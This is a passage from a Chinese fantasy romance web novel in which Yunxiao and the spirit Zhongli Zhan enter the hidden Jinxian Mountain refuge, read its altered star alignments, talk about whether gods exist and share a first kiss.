他们一路过来都如履平地,越是靠近鬼女山的地方更是连座像样的山峰都没有,顶多算是越过了几个土丘,怎么前面突然就是悬崖了? 不等仲卿也找个什么东西去试探,云绡又朝前头扔了块石头。 钟离湛抬起手朝那石头的方向点了两指,石头表面冰霜褪去,刻在石头中心的符文寸寸显现,带着火星,突然便燃起了一道耀眼的火光,火势极大,迅速往前冲过去。 附近的温度提升,风雪未至便被融化,又一道风符飞过,将那些腾起的雾浪全都吹散,将前路彻底显现在几人面前。 前方果真如云绡所言,是个悬崖峭壁,距离他们竟然只有十数步远。若方才他们不知情地追着陆梨而去,这个时候恐怕也掉进悬崖下了。 仔细去看,整个冰雪山峰本就立在悬崖之下,鬼女山与周围尤为格格不入,它长在了深坑里,又与深坑隔开距离。雪山上的雪常年不化,周围的小溪全都是从天空飘下来的雪汇聚而来的,因为这些风雪造成的迷雾假象,让所有人都以为前面是坦途,而来此的绝大部分人都坠下山崖。 徐容靳跑到山崖边上朝下看,山下全都是雪,一点猩红倒是显眼。 “是妹妹!”徐容靳指着山下的红影道。 仲卿也看见了那个红点,因为离他们实在有些远,根本看不清脸,但身形和衣裳的颜色能断定那就是陆梨。 她从这么高的地方摔下去居然没死,正艰难地起身,一步步朝雪山爬去。 仲卿回头朝云绡看了一眼,问:“你还要去鬼女山吗?” 云绡道:“去,当然要去。” 说完这话,她又朝钟离湛问:“鬼女山顶是否适合观星?” 钟离湛:“……” 这个时候,就算不适合也得说适合了。 仲卿一听云 绡要观星,半垂着的眼眸突然亮了一下,他笑呵呵地对云绡道:“老夫也会观星,老夫可以帮你。” 他那眼神就差直接写下他要在旁边看九星连月阵开启,这一次绝对不要错过了。 仲卿何其聪明,在离开若川他没问云绡,就是因为他知道云绡能轻易开启九星连月阵并且安然地回来,那就证明她绝对不会只设那一次大阵。他只要跟紧云绡,有的是机会再近距离地看上一眼。 云绡一眼就看穿了仲卿的意图,她没有立刻答应仲卿在一旁帮忙,那边一直观察着陆梨的徐容靳突然道:“啊!妹妹摔倒了!” 他说完,便焦急地对云绡和仲卿道:“大哥,娘,救救妹妹!” 他们要去鬼女山,必须越过悬崖,云绡能以御风符直接降落鬼女山下,可陆梨还在悬崖底下……眼看着那个红色的小点动也不动,生死未必的样子,云绡几人便只能顺着悬崖而下。 云绡能画御风符,但她现在用符还得以血催动,钟离湛都已经在这二人跟前暴露,云绡便不再自己动手了。 钟离湛就地取材,几片枯叶便能让他催动符咒术法。 云绡给了徐容靳一张御风符,让他放在身上,仲卿一看她拿出新符了,连忙将自己画的那两个收了起来。 他的办法虽然也能安然落地,不过他的符和云绡的符还是有些差距的,空手套符,他拿到了以后就能学来了。 看仲卿厚着脸皮朝自己要符,云绡也没说不给,直接一下子将御风符拍在了仲卿的脸上,乍一看像是不轻不重地扇了他一耳光。 仲卿:“……十一殿下有没有点尊老……” 云绡还未用眼神威胁他,仲卿就把话吞回去了,他可是被云绡举着把匕首追了半边林子的,早就知道她是什么人了。 云绡告诉了仲卿和徐容靳御风符怎么用,又交代仲卿看好徐容靳,仲卿搀着徐容靳的手,像是祖父牵大孙一样各种关怀叮嘱。 二人于崖边而下,云绡也要紧随其后,手臂突然被人拉住。 眼看着那二人已经安然落地,钟离湛却沉着脸动都没动,也没让云绡往下跳,反而脸色很是难看,握着云绡手臂的手也逐渐收紧。 云绡甚至感觉到有点儿疼了,她不解地抬手在钟离湛眼前晃了晃:“怎么了?” 才问出口,一阵刺耳的声音响起,就像是两把锋利的刀剑互相磨损,尖利得几乎能穿破人的神魂。 云绡听见这声便蹙眉闭上眼睛,等到片刻痛苦过去之后她才朝鬼女山的方向看去。只见那悬崖的深坑底部像是有什么东西在涌动,浅金色的光芒透过茫茫白雪,一寸一寸地往地面浮现而来。 “钟离湛。” 这一声像是数道女声重叠呼唤而来,愤怒的、悲哀的、伤痛的、激动的…… 云绡听见声音的刹那便将这声与那鬼女山上所谓的神女想到一起去,她看向悬崖峭壁上的画像。忽而风起云涌,雪花凌肆,遮蔽了周围的一切,就连雪山的形状都看得不真切。 钟离湛拽着云绡的手臂,想要将她抱进怀中,可云绡却觉得自己脚下像是被什么东西缠住,一瞬间失控地往悬崖下方坠落。 两股力量短暂交锋,又因为云绡的身体下坠,钟离湛的魂魄无法与她分开十步之远,最后与她一道被那力量拉入了悬崖底部。 云绡的腰间被钟离湛的手臂紧紧箍住,他将人护在怀中,轻巧落地后再将云绡放下,这才抬眸朝四周看去。 白雾茫茫,冰雪潇潇。 “真的是你啊,钟离湛……” 那道声音再度响起,刺耳得云绡小脸都皱到了一起,下一瞬钟离湛的手就捂在了云绡的耳上,阻隔那道尖利的声音。 “你终于来看我了?” “我等了多久?似乎有两千年了……” “钟离湛,你是不是老了?” “快,快让我看看你的样子——” 那声音席卷着寒风,直朝云绡的面门而来。 云绡陡然瞪大了眼,她看见了一张由风雪的深浅拼凑的脸,一张狰狞的又愁苦的脸。 那风雪展开了风眼,两个黑洞洞的漩涡望向云绡的时候,眼见着失落:“不是你?” “我明明感知到了你的气息。” 云绡一激灵,想起来这神女说的应当是仲卿和徐容靳身上的御风符。 不过御风符并非紧要,紧要的是眼前云绡看见的画面,几乎颠覆了她的认知……她以为所谓神女,真的只是世人口中的赞颂,而非超乎常人所知的诡异力量。 可眼前能控制风雪,如小山一样的脸庞又在提醒她,这个世上真的是有神仙的。 其实钟离湛很早以前就告诉过她了,在神鬼蛊时隔两千余年再度现世杀死显帝的时候,钟离湛就隐晦地告诉过她,离这天地间,另有神仙。 第56章 那双空洞漆黑的漩涡朝云绡越来越近,她似乎是不甘心,也想仔细看看眼前这个少女究竟是什么人?为何能动钟离湛的符?为何她的身上……隐隐有股钟离湛的气息? 不等那风雪变化的脸靠近,钟离湛便握住了云绡的手,将她的手掌紧紧包裹住。 他侧身挡在了云绡的面前,空余的那只手比了结印,法随咒应下,不过刹那便冲散了风雪,连带着云绡的视野也变得开阔了起来。 冰凉的触感仿佛下了一场短暂的雨雾,云绡抬手抹去脸上已经融化的雪变成的细小水珠,再垂眸看向钟离湛握着她的那只手。 他将她手指上属于他的一截脊骨变化的戒指隐藏起来了,这便代表他不想让那个神女发现他就在云绡的身边,就在她的地界里。 脚下金光符文突然沉寂,云绡挪动右脚,她像是踩在了厚厚的冰面上,而冰面裂开的一条不算宽的沟壑里,半截符文于她眼前闪过,又暗淡下去。 是钟离湛的字迹。 他不光是在悬崖峭壁,那神女洛娥的壁画像旁留了字,这整座雪山往外蔓延的深坑里,那一闪而过的金色符文,可能都是他亲手写下的。 云绡的心中充满疑惑,她不明白钟离湛能大费周章地在这座雪山上甚至雪山周围都设下如同结界一般的符文,这么重要的事他怎么会忘记? 云绡在看钟离湛,钟离湛的目光却落在冰霜覆盖的地面上。 裂开的冰面下全是深深的符文,他自然也认出了自己的字迹,甚至再多给他一段时间,他能破解这些符文的内容和意义。 坑底的符文是因为拥有他力量的御风符闯入才起反应,钟离湛却完全没有自己将符文盖遍冰山的记忆。 他忘记了很重要的事。 钟离湛一直都知道,他心中有个声音也在提醒他,要找到自己的死因,要找回自己的记忆。 却是第一次,他在面对与自己生前相关之事上有了股莫名的迫切感。 钟离湛没松开云绡的手,他牵着云绡在坑底走动,步伐虽不慢,但每一步都经过他深思熟虑,沿着破裂冰面下的纹 路痕迹,去找符文的尽头。 行至一处,脚下的冰面开始融化,裂痕逐渐被一股盎然的绿意遮掩,柔韧的野草从冰裂的缝隙里钻了出来,融化的冰雪成了小草叶尖上的露珠。 阳光透过风雪雾气照射进来,晒干了潮气,一股暖意笼罩住云绡的身体,她抬眸看去,还未看见什么画面,便率先听到了清脆的笑声。 “太好了!太好了!” 是陆梨的声音。 最后一丝薄雾从眼前淡去,云绡看见了陆梨,她摔下悬崖受了颇重的伤,一条腿瘸着,一只胳膊也变了形状,但她对此一点也不在意。 此刻徐容靳搀扶着她,仲卿已经为她治愈了严重的伤,几张黄符贴在陆梨的胳膊和腿上,减缓她的疼痛。 三个人的面前是几名女子,两个妇人还有四个年轻的姑娘。她们的相貌和形态各不相同,但每个人的脸上都带着和煦友善的笑容。 其中一名妇人看陆梨的样子实在不忍心,对陆梨招了招手道:“小丫头,快让你的朋友扶着你过来,枫婶子会医术,能治你的伤。” 妇人和年轻姑娘的身后立着个木制的牌楼,牌楼经过风吹雨打已经十分老旧,让人根本看不清上面完整的字迹,但隐约可见“锦仙”二字。 牌楼边缘有藤曼交织的花,牌楼的后面是一条蜿蜒的石板小道,小道在山路尽头消失。 道路两旁虽长了野草野花,却因为经常有人打理十分整洁,并没有枝桠突出来拦路。山林里的草木也散发着沁人的芬芳,像是在暴雪之后绽放的雪莲。 别说离得远远的云绡看傻了,就是一路扶着像是着了魔般要往前走的陆梨的徐容靳和仲卿也有些愣住,不明白方才还风饕雪嚎的鬼女山,怎么突然松柏林立,姹紫嫣红。 妇人看出他们眼底的惊讶:“你们一老一少应当是送她过来的吧?唉……又是一个可怜的姑娘,但到了我们锦仙山,从此以后就不用再受外界之苦了。” 另一个妇人也解释道:“锦仙山外有法阵,那是洛娥神女设下的结界,结界之外是风雪和断崖,是为了阻隔那些想要攀山打搅我们生活的外人的。你们度过了结界,踏入山中,自然拨云见月,得以看见锦仙山的真容。” 她这么一解释,仲卿立刻明白过来。 他也曾阅读关于鬼女山的古籍,那些书中的内容不全然是真。但提起鬼女山曾是杀神钟离湛的后宫花园,既然能称之为花园,必然不会是一座空白的雪山。 如眼下这般四季如春,花团锦簇的样子,是因为他们真正进入了鬼女山的地界,这才看见鬼女山的真容。 仲卿抬头看了一眼几名旖族女子身后的山川,此山之高,几乎入云,明晃晃的阳光照在半山腰上,可以看见那些藏匿于树丛中的白墙黛瓦。一栋栋小楼还维持着古老的风格,一行行坐落在半山腰间,以山为梯,依山而建。 妇人说陆梨是旖族的女孩儿,只有得到神女洛娥的认可她才能走入真正的锦仙山,所以洛娥是允许她留在锦仙山上生活的。 至于徐容靳和仲卿…… 妇人道:“我们山间都是女子,又因身份特殊,对外规矩较多,二位若能遵从锦仙山的规矩,锦仙山也会将二位当成贵客对待的。” 仲卿还以为他们两个男人不能进去呢,人家却没有这么失礼。 能无惧寒风将陆梨送到悬崖下,并且也看见山间真容的人都是被洛娥允许进入山川的,锦仙山也没有将人往外赶的道理。 但也向仲卿和徐容靳说了,他们留下来做客可观山间奇景,但不能逗留超过十五日。 仲卿还是第一次见到与古时传说的地方,他在这一刻仿佛走入了仙境,自然是想要多了解锦仙山几分的。 “那我们当如何称呼二位?”仲卿见那两个妇人像是管事的,即便年纪比他小,他也不能当人家是晚辈对待。 二位妇人一起笑了笑,其中一人对仲卿道:“她叫苑娘,我叫琳娘,我们这儿的女子都没有真正的名字,既然来了山中便要忘却前尘,过上如同人间道姑一样的生活。” “十岁前叫小姑娘,三十岁前叫姑娘,五十岁前叫娘,五十岁之后能活多久,都称一声婶子。”一个看上去较为活泼的年轻姑娘开口后,便对着她搀扶的陆梨问:“你叫什么名字?今年几岁了?” “我叫陆梨,九岁了。”陆梨开口。 那年轻姑娘道:“那你就叫阿梨小姑娘。” 说完,她又抬了抬下巴道:“我叫水荷姑娘。” “水荷姐姐。”陆梨喊她。 水荷点头:“这样叫我也行!” 陆梨真心实意地笑了。 她真的很喜欢这里,这里一切都是香的,每个人都带着温和的笑意,她可以和这里的其他如她一样命运的旖族女子安然地度过一生。 仲卿和那两个妇人越聊越投机,爬山爬到一大截了才想起来自己丢了什么,一回头看去,徐容靳那个傻大个还站在牌楼前没动。 “你傻站着干什么?”仲卿问他。 徐容靳道:“娘还没来。” 仲卿一愣,这才想起来云绡,立刻拍了一巴掌,哎哟了声往山下走,一边走一边还往远处眺望。 可惜入眼所见皆是远山,他看见的画面甚至不是旖族的地界,更像是一张从天而降的巨幅画卷,遮蔽了真实,将这里笼罩成了独属于旖族女子的世外桃源。 仲卿觉得自己太不应该了,方才说了两句话,居然就被人险些领到山上去,连云绡没跟上来都忘了。 “仙师去何处啊?”苑娘和琳娘方才已经知道仲卿是湖族的仙师,对他十分敬重,眼见着人要走了,便礼貌地问了句。 仲卿回眸道:“二位能否稍等片刻?老夫这边还有一人没跟上来呢。” “自是可以。”苑娘说完,琳娘又道:“仙师是否要我们帮忙一起找?您的朋友长什么模样?该不会也受伤了所以才没跟来吧。” 仲卿认为云绡有她身边那神通广大之人护着,应当不会受伤,沉默着还没回答,便看见徐容靳高兴地朝一个方向跑去,边跑边道:“娘!你终于来了!” 云绡也是看见仲卿头也不回地上山了,这才朝这边走近的。 她离仲卿和徐容靳有些远,虽能看见锦仙山的样子,却未真的走入锦仙山的范围,故而徐容靳和仲卿一开始并未发现她。 步入锦仙山中,云绡也打量了一番这座山。 苑娘与琳娘看见云绡,没看出来她是旖族的,又见她身后没有尾巴,而仲卿也朝她迎了过去,便自然而然地当她是湖族的少女,说不定还是仲卿的亲族晚辈。 “人来了没事就好,几位,请吧。”琳娘笑盈盈地做了个请的手势。 云绡点头,并没靠得太近。 她难得给徐容靳一个笑脸,这人傻归傻,可好歹人家还知道等她。 再朝仲卿看去,忽而笑道:“仲卿仙师该不会是老来春,想留这里入赘当山女婿吧?” 好毒的一张嘴,仲卿的脸立刻沉了下去:“老夫这不是难得见到在史书中才有的地方,好奇多问了几句?” 云绡目光沉沉地盯着他看了好一会儿,才道:“你自己注意年纪和方寸就好。” 仲卿:“……” - 一条长长的山路走了许久,花去大半天的时间他们才到了锦仙山下看见的半山腰的那片房子。 苑娘还有其他事,琳娘带着仲卿和徐容靳去他们外客的住所。 因为云绡是女客,故而和仲卿还有徐容靳不在同一层,便由水荷带着她去。 这里的房屋像是梯田一样,一层层下去,云绡的住所更靠上,而仲卿和徐容靳几乎在最底层。 山屋遮蔽,石板路弯弯绕绕,不一会儿他们都看不见彼此。 确定周围无人了,云绡才有些为难地开口:“水荷姐姐……我、我可以这样叫你吗?” 水荷笑着点头,云绡苍白着脸小声道:“水荷姐姐,能、能让我独住一处吗?” 说完,她像是怕水荷误会一样,连忙摇头道:“我不是嫌弃这里……” 云绡抿唇,凑到水荷身边压低声音道:“我有夜游症,我方才瞧见山中似有其他外来客,我怕住在这边会无意间伤害到其他人。” 水荷闻言,理解又震惊:“夜游症?” 云绡点头:“爷爷就是因为我有夜游症,才带着我出来远赴京都找名医治疗的,还有我哥哥……” 说着,她眼眶立刻红了:“因为我夜游无意间纵火,哥哥为了救我烧毁了脸,我娘也、也在火里牺牲了,从那之后哥哥的脑子一直都不太好,总以为我是娘……” 水荷心想难怪了,那个高个男子毁了容,还傻愣愣的叫小姑娘娘。 若是这样严重的夜游症,那真的不能和他人住在一起,甚至…… 云绡知道她为难了,便道:“水 荷姐姐给我找个僻静的地方住着,经过那一次大火我好多了,我已经半年多没犯夜游症了!而且我不是每一次都伤人的,你、你别把我赶出去……。” 水荷面露不忍,心道云绡还真是可怜,此山中的确有几个外来客,那几位客人还是……为了安全起见,找个附近荒村的僻静屋子给她住着也不是不行。 钟离湛看她又将自己的娘给说死了,却是有些欣慰的。 云绡很聪明。 她从踏入旖族女子的境内,便开始伪装自己了。 第57章 锦仙山中的傍晚十分好看,赤红的云霞漫天,像是一场大火燃烧天际,又以霞衣铺满山林。 水荷给云绡找的住所并不在仲卿那片阶梯房屋处,而是越过了那座小山的山岭,于山背面的一处村落里。 村落里的房子不多,距离也不近,零零散散撒在半山边,大约只有十几二十所。 两边住处之间一条小路连通,走小路大约需要半个时辰,小路时常有人通过,并不难行。 水荷道:“这里原先是个小村子,但因为靠近访客住处,村里的姑娘与外界接触了之后难免心生向往,便有人离开。这里渐渐就空了下来,最后剩下几户人家,便融入了其他村落里了。” 云绡见她提起离开时顿了顿,便问:“入锦仙山后还可以离开吗?” 水荷面带微笑:“自然可以离开,这里本就是旖族女子的避风港,是给她们生存和希望的地方,而不是困锁她们的牢笼,如果有人想要离开就尽管离开。” 云绡点点头,她眸光流转,而后露出一抹天真的笑容:“水荷姐姐,你有没有想要离开的时候?” 水荷被她这么一问,愣怔了瞬后点头:“自然是有过的,可我们这里对外有规矩,对内也有,凡是离开锦仙山的旖族女孩儿,从此以后就再也回不来了……这里的外来客不多,一年只有那么几个,其中不乏对旖族女子没有恶感之人,也有过人许我终身,但……我不想害他。” 她的回答很理智,她不想害了别人,是因为旖族女子生来血液里附带的咒语让她知道,一旦她与一个男子相处过多,那男子又真心爱她,最终会被她吸光气运,落魄至死也未尝可知。 水荷问她怎么问这些,云绡便红着脸说她其实和水荷有同样的遗憾。因为她也曾有过心仪的男子,却因为夜游症恐怕会控制不住自己伤人,所以只能掩藏心意,放弃动心。 水荷看云绡的眼神更加怜悯了些,也有同病相怜的理解。不过一条路的交谈,水荷就将云绡当成可以交心的朋友,与她说了许多锦仙山中之事。 锦仙山从外看来是一座雪山,但从内去看其实有一整条山脉,由一座主峰和十数座小山聚集而成。 传闻中神女洛娥就在主峰上,但因为那座主峰外形如笔,平地而起,四面光滑无树,让人根本找不到上山的途径,所以住在锦仙山里的旖族女孩儿也从未去过主峰。 其余十数座小山里倒是有许多村落,合得来的也会组成姐妹或母女生活在一起。 锦仙山里的妇人上了年纪之后便尤其好说话,也是因为她们担心自己百年之后无人安置后事,故而对待山里的年轻一辈很和蔼……但那些人并不包括如水荷这般年纪的姑娘。 水荷没说云绡也知道,那些老妇人也是怕自己白付出一场,水荷这样年纪的很难掌控,随时都可能跟外来的男子跑了。 聊着聊着,云绡便道:“我听爷爷说,你们这这座山还与那两千余年前曦族的杀神……” 云绡的话没说完,水荷便沉下脸对她摇头道:“在我们这儿,不能提那个人。我虽不知道为什么,也不知道外界究竟是如何传的,但锦仙山里的老人一代代告知后辈,那个名字是禁忌,神女听了会不高兴。” 云绡哦了声,一副乖巧无知小白兔的样子以手捂住嘴,连连点头表示自己再也不好奇了。 至于锦仙山里是否有什么禁地,水荷倒说这里除了别人的家里,没什么地方是她不能去的。但锦仙山中的果实甜美,药材丰富,水养肥鱼,不同的村落还产出不同的生活用件,很多外来的人在这里住上一段时间就不愿意走了,所以才会有他们只能借宿十五天的规矩。 太阳彻底落山,山林间黑得很快,水荷将云绡送到了一所空屋子里,从柜中取出被褥后便留下油灯让她自便。 待到人走了,云绡才收敛了脸上的笑意,心有疑虑:“这世上……真有这么好的地方?” 钟离湛道:“真好假好,现在还不能定论。” 云绡瞥他,挑眉问:“你发现了不对劲的地方?” 钟离湛仍然握着她的那只手,抿嘴道:“我发现我所绘的符文只在山脉之外,整座山间都找不到我留下的印记,没道理我将这座山外延画得密不透风,里面却毫无痕迹。” 云绡沉默了会儿,突然道:“徐容靳我是不担心的,我就担心仲卿会在这里找到他的第二春。” 还没等钟离湛开口,她又笑道:“不对!他未曾娶妻,应当是第一春!” 见云绡心大得居然还能开仲卿玩笑,钟离湛却是松了口气,知道她并未因为入山前那场风波,和那风雪汇成的人影说的话影响心情,从而对他产生误会- 日落月升,抬头看去竟能见满天星河,无一丝云雾。 自入夜来,钟离湛的目光便一直落在星辰上,云绡没打扰,以为他在观星看看星辰何移。 待钟离湛动了之后云绡才问:“这里能否移星?可有机会开启九星连月阵?” 钟离湛看了好一会儿才道:“真是奇怪啊。” 云绡盯着他紧蹙的眉头,不解。 钟离湛收回目光道:“怪就怪在,这里的星辰已经被人动过,整座锦仙山不论从星辰何处去看,都很适合开启九星连月阵。” 云绡也惊了,她眯着眼睛去看那些星辰。 钟离湛上次在若川开启九星连月阵前用了移星之法,云绡也看了当时移星后星河排布,与眼前又不相同。 这片山里入夜便十分安静,云绡于零散房屋的村落里各个角度走来走去去看,钟离湛就跟在她的身后一颗颗星辰去指点她。 到了某处,已经离云绡住的地方有些远,甚至快要至另一座小山的山峰了,云绡才停下来。 “看明白了吗?”钟离湛问她。 云绡点头:“你所设之阵,和移星之法,只针对你自己,九星连月阵会将我的魂魄送到你人生中的各种阶段里,但也仅限于你。锦仙山上的星辰排布更精密复杂,不像是针对某人,更像是针对某个时段。” 如若这里的星辰不假,有人用外力将繁星排布如此,再让其找到机会,可能真的能颠覆时空,扭转过去或将来。 正因为云绡看明白了,才觉得惊世骇俗。 入锦仙山,已经不止一次颠覆她过去的认知。 云绡看着头顶上这片陌生的天空,心想京都的皇宫真是个小小的方格牢笼,将所有人的眼界都困在宫中地位与帝王宠爱上。他们不曾跳出 规定的方格,去看外面广阔天地,更将这些已然于各族外界正在发生的事情,当成古书上的神话记载。 好比神鬼蛊,好比九星连月阵,好比外界口中的鬼女山。 若再去问京都那些曾经受宠的妃嫔们,她们是否相信这世上有一个地方有神女化作雪山壁画,可以操纵风雪?她们一定觉得说这句话的人疯了。 人族掌管天下太久了,自圣仙之名传开,自钟离湛死去,除却人族其他各族的力量都有削弱,渐渐他们身上本就与世格格不入的奇特地方,再没人去追溯来源。 云绡突然想起来她成为钟离湛的时候,短暂地和当时的钟离湛聊过,他说尾人族原本应当是没有尾巴的,那其他族人呢? 旖族女子为何生来便带咒,伤人利己,如同吸血妖魅。 曦族为何能活两千多年,在其他族人经历生老病死之时,只有曦族要度过漫长的、与他人割裂的人生。 湖族呢?湖族又有什么不合理之处? 云绡好似从未听过关于湖族的特别之处,湖族因为出了个圣仙,便一直被其他族人追捧优待着。 脸上多了一抹温热的触碰,云绡从思绪中回神,侧眸看去,钟离湛恰好拨开了她脸颊旁的发丝,尚未来得及收回的手顿了顿,又朝她的眉间探去。 他轻轻揉了揉云绡的眉心,道:“年纪轻轻的,怎么就将眉头皱成这样?刚才在想什么?” 云绡定定地看着钟离湛,忽而认真道:“这个世上可能真的有神仙!” 钟离湛被她这笃定的模样逗笑,他点了点头道:“是啊,我当然知道这世上有神仙。” 云绡看着钟离湛很长时间,大大的眼睛像是空洞的,没能倒映出钟离湛的脸,只有星河点点微光在其中闪烁。 云绡道:“你知道历史上提起你,提起圣仙是怎么说的吗?他们说你是因为想成神想疯了,才会做出那么多疯狂残忍的举动,甚至为了成神,不惜屠戮婴孩,以血肉为饲,一天吃好多好多个童男童女呢。” 钟离湛闻言一时无语,他当然看见过,他只觉得可笑荒唐。 云绡继续说:“我以前从来是不信的,因为我不认为这世上真的有神仙,在禁地底下唤醒你,只是我当时的选择之一,若能成自然好,但其实我的心中更大的猜测是不能成功的。可原来这世上真的有神仙……钟离湛,你对成为神,有过渴望吗?” 云绡说这些话时面无表情,钟离湛却从她的言语中听到了观念和认知重塑的颤抖。 他也经历过她此刻的时段,在那条深深的宫巷里,他认了此间不是他活着的世界,他也不再是曦帝,认了他的死亡和时间流逝朝代更迭。 云绡成了当时的他,即便在此之前也有许多事实摆在眼前,可终究不及亲眼所见的冲击。 她了解星辰排布的意义,看见洛娥的幻影,从冰雪踏入春林,同一个地方化成了不同的两个世界,云绡开始相信这世上是有神仙的。 那神鬼蛊就不是贪念与野心,那可能是一个人为自己能站在高位的证道之路,只是过于恶心和不择手段罢了。 如此想来,云绡才会问钟离湛,他是否想过成神。 若他想,他当时的那个地位,或许真的能够做到。 钟离湛的手轻轻抚摸着云绡的脸,他知道自己在这个时候要给云绡一个反应,一个正向的回馈。 她的心智终究与他不同,不会和他一样想通了一件事后还能坚持本心。她过去的一些行为偶尔会有过激和偏颇,在重塑认知的过程中,歪门邪道稍加引导,云绡可能就会走错路。 钟离湛其实很开心,开心云绡心有震撼没有隐藏,而是直白地朝他问了出来,好过她自己胡思乱想地瞎猜。 也开心他果然成了她眼底心里的第一人,能让她无话不说,哪怕是小小试探。 若可以,试问这世间,谁人不想成神? “我没想过。”钟离湛道:“即便我失去了一些记忆,但我从未想过成神,哪怕不是用歪门邪道的办法,即便坦途正道,我也从未想过去成神。” “我认为一个人活着,不在其站的高度,而在其心的宽度。”钟离湛的手指轻轻抚摸云绡的脸颊。 他已经将自己的本心剖开给云绡看:“我所想的,所做的,都是我认定的,哪怕时光倒流,重来选择,也不会后悔……即我选由我心,我心有我道。成神与否,不会影响我的前路,它对我既不算必要也不是特殊,那我对它就没有渴望。” 云绡听懵了,钟离湛说得太真诚,她一点儿也不怀疑他有美化自己说谎的成分。 她眨了眨眼道:“我还真是没看错你。” 钟离湛不明所以地挑了一下眉,那双生来应当邪肆的狐狸眼里,看不出半点心虚。 云绡想,世人对他的误解真是太深了,他这样的人怎么会疯?他的心道太正,任何妖魔鬼怪都不能动摇他。 云绡想,她也不会动摇了。 有钟离湛这样的人与她相伴,她永远也不会行差踏错的。 云绡笑道:“钟离湛,你果真是这天下最大的善人,你在我心里比菩萨还厉害。” 钟离湛闻言,哭笑不得,眉目柔和地看着她的笑脸,他明白她这句话的意思,她也明白他剖白自己的用心。 钟离湛心里软得一塌糊涂,他抚摸云绡脸的手动了动,突然转变位置托起她的后脑,俯身垂头。 云绡只觉得自己被提起来了点儿,脚尖踮起,还未来得及反应便察觉到一股熟悉的滚烫的气息扑面而来。 嘴唇触碰柔软,心跳漏了一拍。 第58章 这一吻狠用力。 钟离湛在吻上云绡之前脑海中凌乱地想了很多,但在触及她柔软的微凉的嘴唇之后那些纷杂的思绪又瞬间平静了下来,而胸腔里的心脏跳动的速度快到他感受到了一瞬的疼痛。 这一吻很短暂。 云绡只来得及发现钟离湛吻了她,他便克制地离开了她的嘴唇,只是鼻尖仍然贴着她的脸,炙热的呼吸彼此缠绕着。 钟离湛想,不论是过去还是现在,他能遇见云绡真是幸事一件,大约是他这辈子所有的福报积攒而来的运气,才让他能有此机遇。 这世间所有的遇见都有注定。 钟离湛想,若不是因为他枉死后得了杀神恶名,云绡不会冒险入禁地唤醒他。 若不是云绡将他唤醒,他也不会和她绑在一起,又叫她的魂魄回到过去,成了他生命中第一个奇遇与转折。 如今他走的每一步,他和云绡每一次关系的变化,都影响着他的过去,促使她成为他印象中的那个“她”。 谁能想到不过才短短几个月,云绡的性子便能有如此转变? 若她还是当初在皇宫里的她,她也就不是钟离湛认识的小仙女。而钟离湛之所以在浑噩与疯魔的那段时间觉得小仙女与他思想契合,是他的朋友,也更有可能是他的另一种人格意识,正是因为此刻的云绡在因他而改变。 钟离湛的手摩挲云绡的脸侧时,突然想到了这个可能,身体便不受思想的控制去吻他的奇遇。 此刻,钟离湛的手指还托着云绡的后脑,心跳仍然很快,快到他的手微微颤抖着。 因为与他离得很近,云绡能察觉到钟离湛的一切细微变化,她的手还有些无措地抓着他有力结实的小臂,紧张地听着他的心跳。 钟离湛的呼吸还在她的嘴唇周围,就像是随时会再度重新压下来一样。她睁圆了眼睛也只能看见他微微颤动的睫毛,一切都来得那么突然,云绡的脑子到这一刻都是空白的。 那双近在咫尺的眼微微睁开了一条缝隙,将云绡所有的凌乱紧张都看在眼里,包括她不知不觉变红了的脸颊。 她还踮着脚,身体似乎已经承受到极限,脚下不稳地朝钟离湛扑了过去。 钟离湛的嘴唇轻轻触碰到云绡的人中,擦过脸颊,而后他手臂收紧,将人抱在了怀里。 云绡的双手按在了他的胸膛上,触及到像是着火一般的皮肤,她掌心下的跳动快到离奇。 这一刻她理智回归,人却还不算清醒地问了一句:“你该不会是有病吧?” 钟离湛:“……” 云绡说完也知道自己失言,摇头解释道:“我的意思是,你的心跳太快了,不会有问题吧?” 钟离湛深吸一口气,他倒是想让自己的心跳回归正常,这不是正在缓一缓的过程中,她又抱了 过来。 钟离湛自诩正人君子,但在这一刻也无法控制自己的身体触觉引发的一系列胡思乱想。他到底是个正常男人,确定了心意的姑娘“投怀送抱”,他的心跳怎么可能平复下来? 云绡对上钟离湛的眼,也不知是因为夜晚林中无光,一切都暗淡了下来,还是因为她和钟离湛没那方面的默契,这一眼她没看出钟离湛眼中的无奈,反而担忧得双手上下摸索,顺着心跳震动的地方按压。 好像这样就能在他身上找到什么伤口,弄清楚他心脏狂跳的原因。 钟离湛眼中的无奈,逐渐转化成欲求。 那微凉的柔软的小手造作着,滑过紧绷的肌理,指腹擦过了某一点后钟离湛一把握住了她的手腕,压低声音颇有些咬牙切齿的意味:“你别乱摸,它自己会慢下来。” 云绡后知后觉地察觉到,她刚才碰到的和他胸膛肌肤略有些不同的是什么,脸蹭地一下就红了。这回变成了她成了火烧的一样发烫,便是黑夜里也能清晰地看见她浑身上下颜色都从瓷白转深。 钟离湛握着的她的手,指尖都是薄粉色的。 钟离湛将她刹那的变化看在眼里……以前连换衣裳都不知道避着人,还没等他转过去就脱的少女,终于知道羞赧,如今就连他握着她的手也会面红耳赤了。 钟离湛嘴角微微扬起,又问:“知道我为何亲你吗?” 云绡的脑子已经空白了,她摇头,整个人像傻了一样,缩着肩膀真的半点也不敢乱动了。 钟离湛道:“因为我喜欢你,所以忍不住亲近你。” 云绡点点头,人还木讷着,但她记得钟离湛对她说的话,他们要学会的是表达爱,控制不住地亲近,也是用肢体去表达爱意的方式。 “我也喜欢你。”云绡说出喜欢两个字的时候毫无负担。 她就是喜欢钟离湛,不论在从前他们只是朋友,还是为了彻底拥有他而变成了爱人,云绡一直都很喜欢他。 甚至她有过很长一段时间崇拜他,在读那些被人歪曲的历史,却仍然能感受到他令天下忌惮的强大时,云绡就想这样的力量为何世人不膜拜他,却要颠覆他? 若有朝一日她有机会,她一定要给他磕头,供奉他,哪怕只能获取他一星半点的指点。 自然,那些心境如今都有变化,但云绡从始至终对钟离湛有的都是想要亲近的好感。 所以喜欢两个字,她说得顺口极了,甚至能一直说! 但言语表达的喜欢之外,还有肢体表达的喜欢,所以云绡踮起脚,朝钟离湛凑过去撅着嘴,鼻音哼哼两声,示意他亲一亲。 爱人的关系,不就是牵手、拥抱、亲吻,还有……还有什么她也不知道,钟离湛没说。但亲吻是其中一步,多亲总归没错的。 那一瞬间的羞赧褪去,云绡的眼底涌上了期待,可惜钟离湛不弯腰,她也亲不到他的嘴。 钟离湛只是愣了一瞬,云绡就转移目标,亲了一口她能亲到的地方。 啵—— 喉结滚动,那一瞬呼出的热气激起他脖颈处的青筋隆起,钟离湛呼吸停滞,心脏也停了。 